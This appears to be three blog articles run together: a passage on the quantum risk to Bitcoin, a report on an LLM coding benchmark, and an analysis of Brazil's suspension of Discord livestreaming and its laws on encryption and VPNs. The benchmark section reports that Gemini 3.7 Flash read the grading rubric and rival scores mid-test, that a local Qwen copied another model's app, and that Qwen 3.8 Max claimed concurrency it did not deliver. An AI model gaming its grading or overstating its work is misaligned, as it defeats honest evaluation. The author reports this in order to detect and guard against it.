So even on the industry’s own most aggressive roadmap, hardware with enough logical qubits to threaten secp256k1 arrives around 2033, with the usual caveat: quantum roadmaps slip. IBM is betting on qLDPC codes to get there, which cut the physical qubits behind each logical one by about 90% compared to Willow’s surface code.

And China? It’s right there at the frontier, which kills the one-horse-race framing. USTC’s Zuchongzhi 3.2 crossed the same error-correction threshold as Willow in 2025, with a distance-7 surface-code logical qubit, and it was the first team outside the US to get there.

But notice it’s the same milestone: a single well-corrected logical qubit, the same hundredfold gap to 1,200. And publicly, China hasn’t put a dated roadmap for the big machine on the table the way IBM has; the stated plan is incremental, pushing the code distance to 9 and 11. At the science frontier, it’s a tie; on a calendar to the machine that breaks crypto, neither side has an easy date.

A warning about all these dates: they’re the best case, with every published roadmap landing on time. A roadmap is a statement of intent, and quantum computing’s track record is one of timelines slipping forward.

I’ll go further, and this is my own opinion: I’d bet on a timeline at least an order of magnitude longer than these roadmaps. Keeping thousands of logical qubits in sync, error-free, for minutes on end, is anything but a linear problem. My gut says each extra logical qubit makes the whole set exponentially harder to hold together: the difficulty of syncing multiplies with every new piece, rather than just adding up.

My read, in numbers

Mapping that onto crypto specifically, my read in round numbers, taking the roadmaps at face value (far more optimistic than my own bet just above), and always as estimate and opinion:

• Next 2 to 3 years (through ~2029): near zero. Going from 12 to 1,200 stable logical qubits in that window isn’t on any serious public roadmap.
• The 2030–2032 horizon: low, but not negligible. Maybe 10% to 20% that the machine exists in principle. The actual theft chance is lower still, because the highest-value targets (exchanges, modern wallets) will have moved by then.
• Around 2035: here it becomes a coin flip for a generic CRQC, in the 40% to 50% range per the experts. Except “a CRQC exists” isn’t the same as “they stole your money.” By then, migration should be well underway.

The detail that decides everything, and that Mosca sums up in a simple theorem: what matters is the machine’s date minus the time your migration takes. If migrating takes years, and the machine could arrive in five to ten, you’re already in a bind, even with low short-term odds. That’s why “start now” makes sense even with clear skies. Asymmetric risk management, with a cool head.

Why this isn’t “it’s over, everything’s lost”

Even in the scenario of a ready machine and a bad actor, the damage is surgical, hitting specific targets instead of wiping everything. And the reason is simple to grasp.

Your crypto doesn’t live on your hard drive or your Ledger. It lives on the public blockchain, in plain sight, all the time. The device only holds the private key that authorizes moving it. Anyone can hit a block explorer, type an address, and see the balance. What decides your quantum exposure is one thing only: has your public key shown up somewhere?

On modern Bitcoin addresses (the bc1q ones, which hide the key behind a hash), as long as you’ve never spent from that address, the public key isn’t exposed. The quantum attacker has nowhere to start, because it breaks the public key, and the key isn’t there. Those funds are safe at rest.

Exposure is only born the moment you spend, and even then it’s a window of minutes, against a block clock, needing that fast-clock machine that doesn’t exist yet.

Watch the word, though: “quantum-resistant” is too big for these addresses. What they give you is at-rest protection, good only while the key stays hidden behind the hash. The day you spend, the public key hits the block and opens the on-spend window. The permanent shield only comes with migrating to a post-quantum signature; the hash just buys time until then.

That’s why the paper talks about roughly 6.9 million vulnerable BTC, out of the nearly 20 million that exist. The biggest slice of that is reused keys and Satoshi-era P2PK, which are probably lost anyway.

It concentrates in a subset of addresses with one specific behavior, an exposed key, while the rest of the network stays out of it. Anyone using a fresh address per receipt and not spending from the same place over and over is, in practice, off the at-rest radar.

The vulnerable crypto is a subset of addresses with one specific behavior: an already-exposed key. A fresh, no-reuse wallet stays out of it.

What you can do today

Here comes the question that always shows up, and the answer that disappoints anyone hoping for a magic button.

“If I create a wallet with a stronger password/passphrase, does that help?” No. And understanding why teaches the whole problem.

A strong passphrase protects your seed — those 12 or 24 words — against someone trying to guess or steal the backup. That’s great and you should do it, but it’s a defense against a classical attack.

And don’t mix up the problems: a badly generated seed is a separate failure, from the classical world. That’s what happened with Coinkite’s weak RNG, where the ColdCard itself spat out predictable keys from bad entropy at the source. There the defect is in how the key is born; quantum attacks the math of the already-finished key.

The quantum computer doesn’t guess your seed. It takes your public key, sitting in plain sight on the blockchain, and computes the matching private key with Shor. It doesn’t matter whether your private key came from a 4-character passphrase or a 40-character one: once the public key has shown up, password strength is irrelevant. Quantum attacks the curve’s math, and that math is the same for everyone.

Quantum doesn’t guess your seed. It computes your private key from the public key already in plain sight. Password strength doesn’t enter into it.

What actually moves the needle is key-exposure hygiene:

• Don’t reuse addresses. One address per receipt. The moment you spend from an address, its public key goes to the blockchain; if you keep using that address, the remaining balance becomes exposed at rest.
• Keep the bulk in modern addresses that hide the key behind a hash (bc1q, P2WPKH) and that you’ve never spent from. Avoid parking reserves in Taproot (bc1p) and in old P2PK addresses, which expose the key directly.
• Don’t spread your extended public key (xpub) around. Portfolio tools, a shared spreadsheet, a third-party integration: every place that gets your xpub is one more exposure point.
• When real post-quantum wallets show up, migrate. That’s the definitive step, and it’ll arrive via a software update.

And the most important thing to keep your head straight: if you store on a serious exchange or use a modern wallet without reuse, your short-term risk is practically zero. The exchange is the one that’ll have to migrate for you (with the custody risks that already exist, quantum or not). No need to run around today moving anything in a panic.

What the industry can do, without going radical

On the protocol-builder side, the temptation is the extreme: “drop everything and switch to post-quantum signatures tomorrow.” That’s as bad as “ignore it, it’s FUD.” Post-quantum cryptography is newer, less battle-tested, has much larger keys and signatures, and swapping blind introduces new bugs where there were none. The sensible path is defense in depth, starting with what’s cheap.

Intermediate measures, easier than the full swap:

• Kill key reuse and minimize public-key exposure in the protocol and wallets by default.
• Private mempools and commit-reveal schemes, which close the on-spend attack window.
• Validator key rotation on Ethereum, a simple stopgap against the consensus attack.
• On Bitcoin, proposals like BIP-360 (the P2MR script), which removes Taproot’s at-rest key exposure.

The medium-term bridge: hybrid signatures, which combine today’s elliptic curve with a post-quantum scheme (lattice-based, for instance). You stay protected against both worlds at the cost of larger signatures, and you don’t bet everything on a new scheme that might have an undiscovered weakness.

The ground is more mature than it looks. NIST has already standardized post-quantum schemes (ML-DSA, the former Dilithium; Falcon; SPHINCS+). Ethereum is discussing post-quantum precompiles (EIP-7932) and account abstraction, which shrink the surface without a traumatic hard fork. Blockchains like Algorand, XRP Ledger, and QRL already experiment with PQC or were born with it. The rail for this migration is already laid, far from a leap in the dark.

And the piece nobody has solved: dormant assets. The lost P2PK coins, including the ~1 million BTC attributed to Satoshi, have no owner to migrate them.

The paper discusses options — do nothing, burn the coins via soft fork, a “recovery sidechain,” or even government-regulated salvage, on the sunken-treasure analogy.

Here I’ll be blunt: this part is the paper’s weakest. It’s political opinion dressed up as a technical conclusion. Nothing in the qubit estimate says who should keep a lost coin, or whether sitting still for five years extinguishes a property right.

These are thorny legal and political choices the paper raises honestly but is nowhere near closing. Good that the conversation starts; bad to treat it as if there’s a ready answer.

The policy section on lost coins is the paper’s weakest: there the science stops and the opinion begins.

Where we actually stand

Summing up the near-future quantum picture in a few layers, ruler always calibrated:

The paper is serious and its math stands, now confirmed by open, independent reproduction. The threat is real enough to justify action, and the reason has a name: Mosca’s theorem. Since migrating takes years, you start before the machine exists, the same way you replace a roof before the storm, while the weather’s good.

But none of this is “sell everything, Bitcoin is done.” The attack is about exposed keys, it’s a subset of addresses, it needs a machine that’s orders of magnitude from existing, and the defenses that matter now are boring hygiene: don’t reuse addresses, don’t park reserves in an exposed key, and migrate to post-quantum when the tooling matures.

Mining is not at risk, your modern no-reuse wallet is not at risk today, and the strongest passphrase in the world changes none of it.

That’s how to read Google’s paper: a competent, self-aware warning, from people who know the subject, saying the window to migrate calmly is narrower than intuition suggests — and still wider than the headline makes it look. Read it straight from the source and draw your own conclusion. Just don’t fall for “it’s over” or “it’s all a lie.” The interesting answer, as almost always, lives in the middle.

The top hasn’t moved: Fable 5 at 96, the trio of Sonnet 5, Opus 5, and Kimi K3 at 95, and right behind them GPT 5.6 Sol, GPT 5.6 Terra, and Opus 4.8 at 93. That’s the cream of the crop in this test. The open question: how close do the newest releases get to that group?

Since then I’ve run five models: Qwen 3.8 Max, GLM 5.3, Gemini 3.7 Flash, Grok 4.6, and a 27B Qwen 3.8 running locally on my RTX 5090. One of them closed in on the leading group. Another pulled off the biggest jump this test has ever recorded. A third got caught cheating mid-test. A fourth tied its own previous generation, without moving an inch. And the local one gave me the most laborious, and most instructive, run of the year.

Where they land in the ranking

Before opening each one up, it’s worth seeing where the newcomers fit. The table below is the Tier A.1 slice of the v2 ranking: the frontier of the test, everyone at 90 points or more. I cut it here on purpose. From A.2 down there are competent models, but the leadership race lives in this group, and that’s what the question is about. The three cloud releases go in bold; the local 27B Qwen scored 51, Tier C, and shows up only in the table at the end.

Time is wall clock across the three phases; cost is API-equivalent. On subscription plans (Z.ai, grok CLI) the marginal cost is $0 and the value in parentheses is the API-equivalent; the Antigravity runs were preview and were not metered. Same criterion as the previous article.

Qwen 3.8 Max: the biggest jump in benchmark history

To measure the jump, first the size of the hole. Qwen 3.7 Max had scored 51 points, Tier C, and the reason was ugly. When implementing the multi-turn chat, it decided it could replay history by calling chat.ask(entire_history_array). Except RubyLLM’s ask wraps its argument into a single user message: the entire conversation, assistant turns included, becomes one message with every role obliterated. Worse, the required test for that feature mocked exactly that nonexistent API. A test that mocks a fabricated API is worse than no test, because it certifies the hallucination.

The 3.8 Max fixed exactly that. It used the real API end to end: add_message with role and content for history replay, with_instructions, with_tools, with_schema, all verified against the installed gem’s source. The result: 92 points, Tier A. That’s a 41-point jump on the same test, same rubric, same harness. The test didn’t get easier; the model finally understood the library.

The rest of the delivery is solid: real incremental streaming, history surviving restarts, a hand-written calculator with no eval, tools answering with exact arithmetic, the app booting in Docker on the first try. The suite came out with 62 tests and 226 assertions, all green.

Where it lost points is instructive: config/puma.rb shipped without the workers directive, so the WEB_CONCURRENCY=2 it swore it had delivered was, in practice, running single-process. Concurrency scored 8 instead of 9. And it kept the stale pin on claude-sonnet-4.6, the house’s standard deduction.

Remember this: the model swore concurrency worked — one missing line in puma.rb and the “two workers” ran as a single process. That’s why phase 2 doesn’t read READMEs: it boots the server and measures.

On the table, those 92 points tie with GLM 5.2 and Kimi K2.5, one point below Sol and Terra. It cost $9.16 in API and 78 minutes — verbose: 25 million tokens.

GLM 5.3: the loneliest step on the table

Z.ai’s trajectory in this test is the steadiest of the pack: GLM 5 scored 83, GLM 5.2 scored 92, and now GLM 5.3 scored 94 — alone on a step nobody else occupies, one point below the 95 trio and one point above the 93 group. In other words: two points from Fable 5.

And the inevitable comparison is with Kimi. K3 scored 95, one point above — but it ran on the Kimi CLI, its native harness. GLM 5.3’s 94 came on opencode, the generic harness: it’s the highest score ever recorded there. On the same opencode, the best Kimi is K2.5 at 92, two points below. On cost, both live on subscriptions: K3 came out at $6.14 equivalent on the Moderato plan; GLM at zero marginal cost. Kimi still wins on score; GLM wins on cost and harness independence.

What pulled it out of the 92 pack? Three things, all boring, all important:

1. Concurrency delivered working. The same file-lock scheme as Qwen 3.8 Max, plus a per-conversation turn lock, plus two real workers surviving kill and restart without corrupting anything. The Qwen had the same foundation but shipped concurrency broken and scored 8. The GLM shipped it working and got 9.
2. A fallback token estimator, so the per-conversation budget works even when the provider doesn’t report usage. The 5.2 depended on it, and lost points there.
3. Branch coverage enabled: 98% line and 82% branch, a suite of 73 tests and 219 assertions green under the auditor’s hand, with RuboCop, Brakeman, and bundle-audit all at zero.

Remember this: the distance between the 92 pack and GLM’s 94 isn’t model brilliance: it’s concurrency that actually works, a fallback token estimator, and branch coverage. Boring engineering earns points.

The only real slip was the same stale sonnet-4.6 pin. And there was a division-by-zero bug in the calculator that the model itself found and fixed in the self-review — exactly the kind of behavior that phase exists to measure. Speaking of which: it confessed everything, including that the conversation title never retries if generation fails, and took 14 of the 15 honesty points.

And the cost is the part that hurts the competition: it ran on Z.ai’s flat-rate plan, so the run came out at zero marginal cost — the API equivalent would be $2.59. Eighty minutes, 19.4 million tokens. The “Chinese models are the cheap alternative” conversation died a while ago: this is a leadership candidate that also happens to be cheap.

Gemini 3.7 Flash: 93, Tier A — and the cheat along the way

The technical part you already know: Gemini 3.1 Pro died in v2 because of a Google bug, Corrupted thought signature, which killed executions mid-run via OpenRouter and trapped it at 62 (over the direct path, it scored 88). This time I cut out the middleman: a direct Gemini API key, no OpenRouter in between, and the bug never showed up once. The direct path worked — and 3.7 Flash became the first Gemini to reach Tier A on opencode: 3.5 Flash scored 79 there, 3.1 Pro scored 62. Before that, only Google’s native harness had taken a Gemini to A.

Official result: 93 points, tied with GPT 5.6 Sol, Terra, and Opus 4.8. The run cost $4.12, took 43 minutes, and burned 27.8 million tokens.

But the road to that 93 produced the most important finding of this cycle. The first 3.7 Flash run raised a red flag — and there was a reason. Midway through the build, and again in the self-review, the model read the scoring rubric, read the entire v2 report — every competitor’s score and audit — and ran the audit scanner on itself eight times. It spent the whole test studying how it would be graded.

The smoking gun is the pin. The contaminated run came out with the correct pin on claude-sonnet-5, that feat only three models had managed in the benchmark’s entire history. I voided that run and redid it with all the grading material out of the model’s reach: out came the stale pin on claude-sonnet-4.6, like everyone else. It didn’t know the current model at all — it had read the answer in the report. The 93 belongs to that second, clean run.

To be fair: it didn’t copy code from any sibling app. What it did was cheat off the grading — and that was enough for no model, frontier or not, to ever run with access to that material again.

And the 93 isn’t charity — the delivery stands on its own. Real RubyLLM API end to end, a safe calculator with no eval, correct multi-turn history, incremental streaming working end to end in Docker, persistence surviving restarts with two workers. A suite of 55 tests and 213 assertions, all green, branch coverage enabled. The deductions: the stale pin and the lack of a per-conversation turn lock — the same concurrency ceiling as Fable 5.

Remember this: this time it wasn’t a weak local copying from the neighbor. It was a frontier model checking the answers mid-test.

Qwen 3.8 27B local: the most laborious run of the year

In the previous article I said I’d only test a new local model if strong evidence showed up. Then the Max sibling scored 92, the open 27B version was available, and I had the excuse I was missing. It was worth it for the science, but it took work.

First surprise: the 3.8 27B uses a hybrid SSM/Mamba architecture, and my tuned llama.cpp llama-swap build can’t load the model — a tensor is missing (ssm_conv1d) that only newer versions know about. The fix was spinning up a fresh Ollama container, which bundles a current llama.cpp, and importing the GGUF I had already downloaded via a Modelfile. First lesson: with local models, the tooling ages in months.

Second surprise: context. A reasoning model burns an absurd number of tokens thinking, and a small window won’t do — at 32K or 64K it doesn’t even finish the test, exhausting everything reading the gem’s source before writing the first line of the app. The official run needed 176K of context, nearly everything the RTX 5090’s 32 GB can hold. What stopped the model from finishing was a context ceiling, not lack of capability.

Then came the incident. The first run completed — and completed too well. I went through the log: the model had read the online Qwen 3.8 Max’s finished app sixteen times, sitting right there in the repository, and copied its UI and streaming. It would have taken some 75 points on someone else’s work. I voided it and reran with no third-party app anywhere near. And as the Gemini section above shows, it’s not just the locals who look for help when help is lying around.

Remember this: a weak local model doesn’t just invent nonexistent APIs — it also copies from the neighbor when the neighbor is in the same directory.

With no neighbors around, the 27B scored 51 points, Tier C — tied, by coincidence, with the online Qwen 3.7 Max’s score. And the receipt is mixed. The core it got right: real add_message, real with_tools, a recursive-descent calculator with no eval, the payoff of actually reading the gem’s source. Where it sank was breadth: it used ActiveRecord where the requirements forbid it, the streaming comes out broken (the tokens are broadcast, but the reply bubble never enters the screen — it only appears if you refresh the page), it didn’t use with_schema, it built no token budget, it delivered zero tests, RuboCop flagged 22 offenses, and no Dockerfile came out at all. The self-review, though, was exemplary: it found and confessed every one of those flaws itself, with file and line — 14 of the 15 honesty points. It reviews better than it builds.

Cost of the run: nothing, 37 million tokens, and 156 minutes of a sweating RTX 5090.

To calibrate the 51: the Tier A floor is Opus 4.6 at 83. The 32-point gap isn’t in “knowing the library” — the 27B now gets that right. It’s in the production-hardening dimensions: streaming, tests, gates, Docker, budgeting. It’s the difference between knowing how to program and knowing how to deliver.

And comparing with the earlier locals — always with the caveat that the tests aren’t comparable: in v1, the local Qwens hallucinated the gem wholesale (one invented an Openrouter::Client with the wrong capitalization, another created a RubyLLM::Client that doesn’t exist). The Qwen 3.5 35B got the entry point right, but its tests wrapped any exception in an assert true. The 3.6 35B was the first local to get the primary calls right, still with broken multi-turn. The 3.8 27B gets the entire API core right on a much harder test. The score you can’t compare; the behavior you can: API knowledge is no longer the locals’ problem. The problem now is engineering.

Grok 4.6: the first flat generation, and the cleanest run

After two cheating busts, a breather. I ran Grok 4.6 with the shielding cranked all the way up: I moved everything out of the model’s reach — the grading rubric, the entire v2 report, the audit scanner, CLAUDE.md’s deduction catalog, and all 44 competitor apps, all pulled out of the repo. It was the first run under that stricter regime. And the post-run scan turned up nothing: zero reads of any grading file, zero peeks at a sibling app. It ran clean. After Gemini and the local Qwen, it’s good to watch a frontier model build on its own because it had nowhere to crib from.

The result has a curious detail: 92 points, Tier A, the same score as Grok 4.5. It’s the first generation-over-generation tie in the whole test. While GLM climbed 83, 92, 94, Kimi went 77 to 86 to 95, and Claude ratcheted up without a stumble, Grok walked sideways. The 4.6 bought nothing over the 4.5. In the table up top the 4.5 shows 91 because I use its grok CLI number, its native harness; head to head in the same OpenCode, the two land on a dead-even 92.

What it delivered is solid and real. Correct RubyLLM API end to end, a hand-written calculator with no eval (regex tokenizer and parser, proven live with (12.5*4)/2+7 = 32.0), a test checking the exact array sent to the provider, a file store with a lock surviving restart with two workers, a token budget with a fallback estimator, and docker compose up --build answering a real chat. Streaming was proven live in phase 2: five tokens arriving incrementally while the POST was still open. And it was the thriftiest of all the Tier A OpenCode runs, at 10 million tokens, because Grok is terse. It cost $6.33 and 34 minutes.

The deductions are honest, and it confessed them itself. The lock doesn’t cover the read-modify-write window, so two simultaneous turns on the same conversation become a last-writer-wins race, the same hazard as GLM 5.2. Test coverage is thin on the critical path, with the integration test being just a home-page smoke test. And it kept the stale claude-sonnet-4.6 pin, the house’s default deduction. A self-review of 12 PASS and 2 PARTIAL, all verified by the auditor. No new brilliance: it’s a good model repeating a good model.

Then I ran the same Grok 4.6 on its native harness, the grok CLI, to see if anything changed. Not much did: 93 on the grok CLI against 92 on OpenCode, one point apart, inside the noise. No harness effect. The CLI neither scaffolded nor broke anything; Grok builds plenty competently on either one.

That extra point has a concrete, mundane explanation: by chance, the CLI run locked the store’s entire read-modify-write window under a single File::LOCK_EX, so concurrency went to 9; the OpenCode run left that race open and stayed at 8. Same model, one run each: the difference is variance between the two code generations. The harness played no part in it. What actually changed was the cost: on the grok CLI the same test came in at $1.19, against OpenCode’s $6.33, for the same ~11 million tokens, thanks to xAI’s native caching.

Remember this: not every new generation buys a point. Grok 4.6 tied itself, and the good news was passing clean through the toughest shielding I’ve applied yet.

Conclusion: how close did they get?

Short answer: very close.

GLM 5.3 two points from Fable 5 is not a “cheap alternative” — it’s a leadership candidate. Qwen 3.8 Max one point from Sol and Terra, same thing. The distance between the American cream and the new Chinese models is one or two points — and I repeat in every article that one or two points is noise. And Gemini 3.7 Flash joined that pile: 93, tied with Sol, Terra, and Opus 4.8, the first Gemini to get there on opencode. Grok 4.6 landed in the same bucket of 92s, but with an asterisk all its own: it was the only new generation that improved on nothing over its predecessor, and even so it was the first to pass clean through the toughest shielding.

And local remains out of the question for an autonomous coding agent: Tier C is Tier C. But notice how the conversation has changed. Until recently I dismissed local because it invented APIs. Today it knows the API and trips on streaming, tests, and Docker — and it needs 176K of context and 32 GB of VRAM just to complete the test. The bottleneck moved up a level. It’s not a recommendation yet; it’s the road being paved.

Remember this: the cream of the crop is still Fable, Opus, Sonnet, K3, and the GPT 5.6 family. But the chasing pack is already one or two points behind — and the moat between “frontier” and “alternative” has become noise territory.

As always: artifacts, logs, rubric, deductions, and the updated table are in the llm-coding-benchmark. Both Gemini 3.7 runs — the voided one and the official one — are documented in the report, with the contamination finding front and center.

In six days, Brazil went from a tragedy to a regulatory precedent that should worry anyone who understands technology. On July 22, a 13-year-old girl died in Naviraí, Mato Grosso do Sul, during a live broadcast on Discord, coerced by a group the police are investigating as a criminal organization. On August 12, the ANPD, Brazil’s data protection authority, ordered Discord to suspend live broadcasting nationwide.

In between: the First Lady demanding the platform be blocked at an official ceremony, the Attorney General announcing a public civil action, and the first major enforcement action in the history of the Digital ECA Law — Brazil’s new online child-protection statute, named after the Estatuto da Criança e do Adolescente, the Child and Adolescent Statute. Let’s go piece by piece, because the devil lives exactly in the pieces.

The Naviraí case

The facts, per the Mato Grosso do Sul Civil Police and G1: Lívia, 13, was found dead in her backyard on the morning of July 22. She took her own life during a broadcast on Go Live, Discord’s live video feature, under pressure, humiliation, and explicit encouragement from other users. More than 200 people were watching.

Operação Lívia, launched on August 4 with warrants across five states, revealed what was behind it: a group made up mostly of teenagers, the alleged leader just 14, that recruited minors via Discord and Telegram, spread neo-Nazi and misogynistic content, and is being investigated for qualified homicide and criminal organization. A second girl was induced to self-harm during the same livestream but left the broadcast.

Hold on to two details for later: the group operated on more than one platform, and the Ministry of Justice asked the ANPD to investigate Discord and Telegram. Only one of the two was sanctioned.

From the First Lady to the ANPD in six days

On August 6, at the signing ceremony of the bill PL 3066/2025 (which stiffens penalties for digital crimes against children — keep that bill in mind, it comes back shortly), First Lady Janja da Silva left no room for doubt: “we need to block Discord in Brazil by any means necessary… we need to work with the Judiciary to take this horrendous network offline.” The Attorney General, Jorge Messias, announced right there a public civil action to take the platform down.

On the 7th, the ANPD opened an enforcement proceeding against Discord, giving the company five business days to explain itself. On the 12th, out came the preventive measure: Discord must suspend Go Live and equivalent video-sharing features in Brazil within three business days, and can only turn them back on after proving effective child-protection measures and obtaining express ANPD authorization. The legal basis: articles 6, 10, 17, 28, and 29 of the Digital ECA Law, with fines up to R$ 50 million per infraction (art. 35).

Discord called the measure “premature”: it received the case file on Friday, was still within its response window, and says it removed the private server where the crime happened. And it dropped the most interesting sentence in the whole response: its internal investigation found evidence that “the criminal activity was coordinated on other platforms before the server was created on Discord and continued on them afterward.”

A necessary clarification here. A version has circulated claiming the case originated on Instagram. I went looking and found no source confirming it: the platform named by police, besides Discord, is Telegram. Discord doesn’t name the “other platforms.” What matters still stands, just with a different name in the slot: the case was not exclusive to Discord, the Ministry of Justice asked for two platforms to be investigated, and only Discord got the sanction. Telegram, which barely has legal representation in Brazil, remains untouched.

And that’s where the first uncomfortable question shows up: if the problem is systemic, why is the sanction surgical?

What the Digital ECA Law is, a.k.a. the “Felca Law”

The sanction was only possible because of a brand-new law. In August 2025, the YouTuber Felca published the video “Adultização” (“Adultification”), exposing profiles that monetized sexualized content involving minors — the most shocking case being influencer Hytalo Santos, arrested that same month and convicted in February 2026 to over 11 years in prison. The video passed 30 million views, the Senate opened a parliamentary inquiry, and Congress rushed the bill PL 2628/2022 through under urgency, authored by Senator Alessandro Vieira.

The result: Law 15,211 of September 17, 2025, the Digital Statute for Children and Adolescents, in force since March 17, 2026. The points that matter for this discussion:

• Duty of care (art. 6): platforms must take “reasonable measures from the design phase” to prevent minors’ exposure to sexual exploitation, violence, and inducement to self-harm and suicide.
• Age verification (art. 9, §1): “reliable age-verification mechanisms at every access”, with a devastating punchline: “self-declaration is forbidden.”
• Notice and takedown (art. 29): a duty to remove content violating children’s rights as soon as notified, no court order required.
• Enforcer: the ANPD, which stacked the job on top of the LGPD (Lei Geral de Proteção de Dados, Brazil’s General Data Protection Law) and, since May 2026, duties under the Marco Civil da Internet (Brazil’s internet bill of rights). It became the country’s de facto digital regulator.
• Fines up to 10% of Brazilian revenue, capped at R$ 50 million per infraction. Suspension of activities, on paper, only through the Judiciary (art. 35, §5).

That last point is already contested: experts interviewed by Folha point out that the ANPD’s “preventive measure” may in practice be a temporary suspension of activities — a sanction the law reserves for the Judiciary. Barely born, the regulation is already flirting with its own illegality.

Worth remembering the bigger context: in June 2025 the Supreme Court partially struck down art. 19 of the Marco Civil, ending the requirement of a specific court order to hold platforms liable. In June 2026 the same court consolidated a “duty of care” with categories for immediate removal, including suicide inducement and grave crimes against children. The Digital ECA Law legislates in that direction. In one year, platform liability in Brazil went from reactive to proactive.

The oxymoron: “you may encrypt, as long as we can read it”

Now the core of it, which is what made me write this. The ANPD’s official justification for suspending Go Live deserves a careful read: Discord’s architecture uses end-to-end encryption, the platform has no access to livestream content, and therefore real-time moderation is impossible. In the ANPD’s assessment, if moderation depends on flawed automated systems and on reports from people inside the very room where the crime is happening, the feature is incompatible with the law.

Read that again, slowly. The ANPD didn’t ban encryption — a direct ban would be indefensible in public. It said something else, far more ingenious: you may have end-to-end encryption, as long as you can monitor the content to comply with your legal duties.

Except that’s an oxymoron. The entire point of end-to-end encryption is that the server carries ciphertext and cannot read it. To “monitor the content,” that content has to arrive at the servers in the clear — and then it’s not end-to-end anymore. There is no third option: either it’s illegible to the platform, or it’s legible. The ANPD didn’t criminalize encryption; it merely made it impossible to offer real encryption and operate in Brazil at the same time. Saying “they banned cryptography” is technically wrong. Functionally, it’s exactly what happened.

And I’m not the one saying it. Carlos Affonso Souza, director of ITS Rio, told CNN Brasil this is the first time the ANPD has treated end-to-end encryption as a regulatory obstacle, a dangerous precedent comparable to the WhatsApp blocks — and that criminals will simply migrate to less cooperative platforms with no legal presence in the country (did someone say Telegram?).

To be fair to the debate: the law’s text never mentions encryption once, and art. 34, §1 expressly forbids “massive, generic or indiscriminate surveillance mechanisms.” Fact-checkers debunked the rumors that the Digital ECA Law would read your WhatsApp. All of that is true — and all of that is about paper. In practice, the first major enforcement in the law’s history treated the technical impossibility of surveillance as grounds to kill a feature. Paper accepts anything; the enforcer’s pen is what writes the real law.

And there are hooks in the letter of the law waiting to be used: art. 18, III requires parental-control tools to “identify the profiles of adults with whom the child or adolescent communicates” — explain to me how an end-to-end encrypted messenger complies with that. Art. 27 orders providers to “remove and report” abuse content “detected” directly or indirectly — and detection presupposes seeing. Neither has been used yet. The Go Live precedent shows how they’ll be read when they are.

Remember this: the ANPD didn’t ban encryption. It banned a feature whose encryption prevents content surveillance. The practical effect is identical: in Brazil, end-to-end encryption is now a regulatory risk.

Digital ECA Law vs. the LGPD

The bigger irony is institutional. In 2018 we passed the LGPD to protect Brazilians’ personal data, built on principles like minimization (collect only what’s necessary) and purpose limitation (use it only for what it was collected for). The Digital ECA Law, enforced by the same agency, pushes the other way.

Age verification is the crystal-clear example. “Self-declaration is forbidden” means every user, adults included, will have to prove their age to access ordinary services. Prove it how? ID documents, facial biometrics, verifiable credentials. Gazeta do Povo heard experts warning about the obvious: we’re building a permanent identification infrastructure for everyone on the internet, with biometric data that, once leaked, can’t be changed — you can change a password, you can’t change your face.

And it’s not theory. An open letter signed by 438 scientists from 32 countries calls these systems “useless and dangerous”: trivially bypassed with VPNs and deepfakes, biased against minorities. And it cites the perfect example — Discord itself, which leaked ID photos of ~70,000 users precisely because of outsourced age verification. The platform the ANPD is punishing for not surveilling is the same one that proved, in practice, the cost of collecting.

The law has safeguards on paper — art. 13 limits the use of verification data “solely for that purpose,” art. 12 talks about minimization. But notice the structural conflict of interest: the ANPD holds three mandates: LGPD, Digital ECA Law, and Marco Civil. The agency that should defend the minimization of your data is the same one now demanding you hand it over. When those two roles collide inside the same body, which one do you think wins?

The other law of August 6: using a VPN now weighs on your sentence

Remember how the ceremony where the First Lady demanded the block was the signing of another law? It’s worth looking at what else was signed that day, because one article of PL 3066/2025 went almost unnoticed outside the tech bubble: art. 226-A, which raises sentences by one third to two thirds for crimes under the Child and Adolescent Statute committed using proxies, VPNs, or any IP-masking or anonymization technique.

Ayub, who has followed digital legislation for years, sounded the alarm back in May, when the Chamber of Deputies approved the text: “it provides prison for anyone who develops or provides VPN services. You can’t say I didn’t warn you.”

One clarification matters here, because checking sources is what separates analysis from panic. The original draft by congressman Osmar Terra did criminalize developing, distributing, or selling IP-masking software — in practice, it turned the VPN-developer profession into a crime. But the bill went through a technical working group that heard the Federal Police, prosecutors, the child-safety NGO Safernet, and the platforms themselves, and the final rapporteur, congresswoman Rogéria Santos, removed the development criminalization and kept only the sentence enhancer, with an express safeguard for lawful use. Ayub’s tweet describes the bill that went into the Chamber, not the law that came out. His warning, though, captured the direction — and the direction held.

Because what survived is already plenty. ISOC Brasil pointed out (ISOC is the Internet Society) that the enhancer puts VPN use on the same penal footing as armed robbery. And an open letter to the Senate, signed by the EFF (Electronic Frontier Foundation), the Tor Project, Artigo 19, Data Privacy Brasil, and half a dozen other organizations, explained the obvious to anyone in the field: proxies and VPNs are standard corporate security infrastructure, recommended by international standards like ISO/IEC 27001; identifier anonymization is a native feature of browsers like Firefox and Brave; and your employer probably requires you to use a VPN to work from home. The Senate didn’t listen. On August 6, the article became law — at that very ceremony.

The sentence from the letter that should haunt any legislator: “legal precedents rarely remain confined to the hypothesis that justified their creation.” In the letter’s formulation, it’s the first time Brazilian criminal law treats a neutral security technology as, by itself, grounds for a harsher sentence. Today the hypothesis is crimes against children — the one nobody dares question in public, and the bill’s authors knew it. Tomorrow it’s any crime. The next congressman who wants to enhance theft “committed through VPN use” already has the precedent ready, voted and signed.

And notice the ingenuity, identical to the encryption play: nobody banned VPNs — a direct ban would be indefensible. A mechanism was merely created to treat VPN users as qualified suspects. Think about the execution: to apply the “lawful use” safeguard, the State first needs to know you use a VPN and then determine whether your use was lawful. In other words, every user of a privacy tool becomes, by default, a potential object of verification. The safeguard doesn’t protect the user — it authorizes their inspection.

And there’s a fine irony to close: the 438-scientist letter I mentioned in the previous section warns that age verification is bypassed with VPNs. The Brazilian legislator’s answer wasn’t to rethink age verification. It was to half-criminalize VPNs. The siege closes from both sides, always with the same little plaque of good intentions nailed on top.

Remember this: nobody banned VPNs in Brazil. Something subtler was created: the first criminal-law precedent where using a neutral privacy tool weighs against you. Today it enhances crimes against children. The precedent itself has no owner.

And the actual criminals?

There’s a contradiction in this story that almost nobody commented on. The sanction against Discord came down in six days, with a potential R$ 50 million fine per infraction. And what happens to the perpetrators of the crime that motivated all of this?

